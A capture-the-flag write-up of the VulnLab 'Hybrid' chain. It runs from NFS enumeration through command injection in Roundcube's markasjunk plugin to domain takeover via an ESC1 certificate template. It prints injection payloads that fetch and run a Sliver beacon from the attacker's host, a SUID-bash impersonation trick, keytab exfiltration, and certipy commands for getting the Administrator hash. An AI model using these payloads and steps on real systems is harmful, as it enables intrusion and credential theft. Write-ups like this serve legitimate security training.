This is a writeup of the chain Hybrid from VulnLab , it’s an easy difficulty chain with both a Windows and Linux machine. This chain featured a Roundcube CVE, and a fun twist on ESC1.
🔍 Enumeration
An initial nmap scan of the host gave the following results:
Nmap scan report for 10.10.130.213 Host is up (0.10s latency). Not shown: 992 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-06 00:29:19Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Not valid before: 2024-07-17T16:39:23 |_Not valid after: 2025-07-17T16:39:23 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Not valid before: 2024-07-17T16:39:23 |_Not valid after: 2025-07-17T16:39:23 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Not valid before: 2024-07-17T16:39:23 |_Not valid after: 2025-07-17T16:39:23 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Not valid before: 2024-07-17T16:39:23 |_Not valid after: 2025-07-17T16:39:23 |_ssl-date: TLS randomness does not represent time Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.10.130.214 Host is up (0.10s latency). Not shown: 990 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA) |_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Redirecting... |_http-server-header: nginx/1.18.0 (Ubuntu) 110/tcp open pop3 Dovecot pop3d |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mail01 | Subject Alternative Name: DNS:mail01 | Not valid before: 2023-06-17T13:20:17 |_Not valid after: 2033-06-14T13:20:17 |_pop3-capabilities: STLS SASL AUTH-RESP-CODE UIDL TOP CAPA RESP-CODES PIPELINING 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 32920/udp6 mountd | 100005 1,2,3 52281/tcp mountd | 100005 1,2,3 57191/tcp6 mountd | 100005 1,2,3 57525/udp mountd | 100021 1,3,4 34023/tcp nlockmgr | 100021 1,3,4 34935/udp6 nlockmgr | 100021 1,3,4 42359/tcp6 nlockmgr | 100021 1,3,4 42724/udp nlockmgr | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/tcp6 nfs_acl 143/tcp open imap Dovecot imapd (Ubuntu) |_ssl-date: TLS randomness does not represent time |_imap-capabilities: SASL-IR ID more listed have IDLE IMAP4rev1 ENABLE LITERAL+ post-login capabilities Pre-login OK LOGIN-REFERRALS STARTTLS LOGINDISABLEDA0001 | ssl-cert: Subject: commonName=mail01 | Subject Alternative Name: DNS:mail01 | Not valid before: 2023-06-17T13:20:17 |_Not valid after: 2033-06-14T13:20:17 587/tcp open smtp Postfix smtpd |_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING 993/tcp open ssl/imap Dovecot imapd (Ubuntu) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mail01 | Subject Alternative Name: DNS:mail01 | Not valid before: 2023-06-17T13:20:17 |_Not valid after: 2033-06-14T13:20:17 |_imap-capabilities: SASL-IR ID more listed AUTH=LOGINA0001 IDLE AUTH=PLAIN ENABLE LITERAL+ have post-login capabilities Pre-login LOGIN-REFERRALS IMAP4rev1 OK 995/tcp open ssl/pop3 Dovecot pop3d |_ssl-date: TLS randomness does not represent time |_pop3-capabilities: USER SASL(PLAIN LOGIN) AUTH-RESP-CODE UIDL TOP CAPA RESP-CODES PIPELINING | ssl-cert: Subject: commonName=mail01 | Subject Alternative Name: DNS:mail01 | Not valid before: 2023-06-17T13:20:17 |_Not valid after: 2033-06-14T13:20:17 2049/tcp open nfs_acl 3 (RPC #100227) Service Info: Host: mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (2 hosts up) scanned in 131.65 seconds
📂 NFS
I started off by investigating NFS on mail01.hybrid.vl, to see if anything was interesting/mountable. Using showmount, we can enumerate the exports for the box:
1 2 3
❯showmount -e mail01.hybrid.vl Export list for mail01.hybrid.vl: /opt/share *
We’re able to mount the /opt/share folder:
1 2 3 4 5
❯ sudo mount -t nfs mail01.hybrid.vl:/opt/share ./nfs ❯ cd nfs ❯ ls backup.tar.gz ❯ cp ./backup.tar.gz ../
There’s a backup archive that I copied off the host to investigate.
Within this backup, there’s certificates for the hybrid.vl domain, and credentials for dovecot.
📧 Roundcube
Browsing to http://mail01.hybrid.vl, we’re presented with a login page for Roundcube webmail where we can reuse the admin and peter credentials from the NFS backup.
Logging in, we’re greeted with a normal webmail dashboard. There’s an “About” option in the bottom lefthand corner which displays information about the Roundcube version, and the version of installed plugins.
There’s also an email to [email protected] referencing the junk filter plugin, markasjunk.
Researching Roundcube 1.6.1, and markasjunk 2.0, I found this article with a command injection vulnerability in the markasjunk plugin.
This is a command injection vulnerability that allows you to embed a payload within an email that’ll get executed when it’s flagged as junk.
First to input the payload head to Settings > Identities > Email. I started out with the test payload admin&curl${IFS}[IP]&hybrid.vl. I hosted a simple Python webserver on port 80 because I wasn’t able to get colons to work.
Next to trigger the command browse to an email, such as the “New Spam Plugin” email from earler, and flag it as junk.
My test payload worked, and I was successfully able to get a callback from Roundcube.
To trigger a new payload, change the email, and then flag/unflag something as junk.
I used the following 3 payloads to download, modify, and execute a sliver beacon.
admin&wget${IFS}[IP]/wizard101&@hybrid.vl
admin&chmod${IFS}+x${IFS}wizard101&@hybrid.vl
admin&wizard101&@hybrid.vl
Yippee!
📂 NFS (Round Two)
Now as www-data I ran linpeas, checked out running processes, looked for interesting loot or tickets, and found nothing.
I decided to check out /etc/exports to get some more information on the NFS share we initially pulled Roundcube creds from.
1 2 3 4 5 6 7 8 9 10 11 12
www-data@mail01:/opt/share$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /opt/share *(rw,no_subtree_check)
It looks like we have both read and write access to the share we previously accessed. This can be used to impersonate another user on the box by dropping bash owned by someone with the target user’s UID, and SUID set.
Since the share doesn’t have no_root_squash set, we can’t do this to the root user. To find a target we can checkout /etc/passwd or /home/, and find [email protected], a domain user.
We can run id to find out Peter’s UID to copy on our box.
Now back on mail01 as www-data, we can run bash -p on the binary we copied over to get a shell as Peter, grabbing the flag and a Keepass database.
👷♂ Peter
I started off by trying to crack the hash on the Keepass database, using keepass2john to get a hash. This didn’t end up working, but we can reuse the Roundcube credentials to access the passwords with kpcli.
[*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.179.53:445 Name: dc01.hybrid.vl Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share [*] Closed 1 connections
📈 ADCS
No luck on either, so I ran certipy find to see if there’s any vulnerable certificate templates, since we were able to find a cert in the NFS share previously.
Looking at the output, the HybridComputers template is vulnerable to ESC-1 . Computer accounts are able to enroll and supply the subject, and client authentication is enabled. This means that if we can create or compromise a machine account we’re able to impersonate other users against the DC.
I used netexec to check the MAQ , but sadly it was 0…
This means that we’re not able to add a new machine account to the domain to exploit the vulnerable HybridComputers template. Instead, we can go back to mail01 and try to compromise its machine account.
I SSH’d into mail01 as Peter, who turned out to be an admin. We’re able to use his account to dump /etc/krb5.keytab which is used to store the credentials for the machine account. I base64 encoded it and dropped it back to my box.
We can use KeyTabExtract to get the NTLM hash of the machine account from the exfiltrated /etc/krb5.ketytab file.
1 2 3 4 5 6 7 8 9 10
❯ python3 keytabextract.py ~/vl/hybrid/krb5.keytab [*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash. [*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction. [*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction. [+] Keytab File successfully imported. REALM : HYBRID.VL SERVICE PRINCIPAL : MAIL01$/ NTLM HASH : [HASH] AES-256 HASH : [HASH] AES-128 HASH : [HASH]
We now own the MAIL01$ account, which we can use on the vulnerable HybridComputers template. I used certipy req to try and request a certificate impersonating the admin, but I initially ran into some issues. This was resolved by specifying -key-size 4096.
[+] Trying to resolve 'hybrid.vl' at '10.10.179.53' [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.179.53[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.179.53[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 8 [*] Got certificate with multiple identifications UPN: '[email protected]' DNS Host Name: 'dc01.hybrid.vl' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_dc01.pfx'
Now we can authenticate with the certificate using certipy auth to grab the Administrator’s hash.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
certipy auth -pfx administrator_dc01.pfx -username 'administrator' -domain 'hybrid.vl' -dc-ip [DC IP] Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate [*] Please select one: [0] UPN: '[email protected]' [1] DNS Host Name: 'dc01.hybrid.vl' > 0 [*] Using principal: [email protected] [*] Trying to get TGT...
[*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'[email protected]': [HASH]
YIPPEE! We can use that to WinRM in, and grab the flag.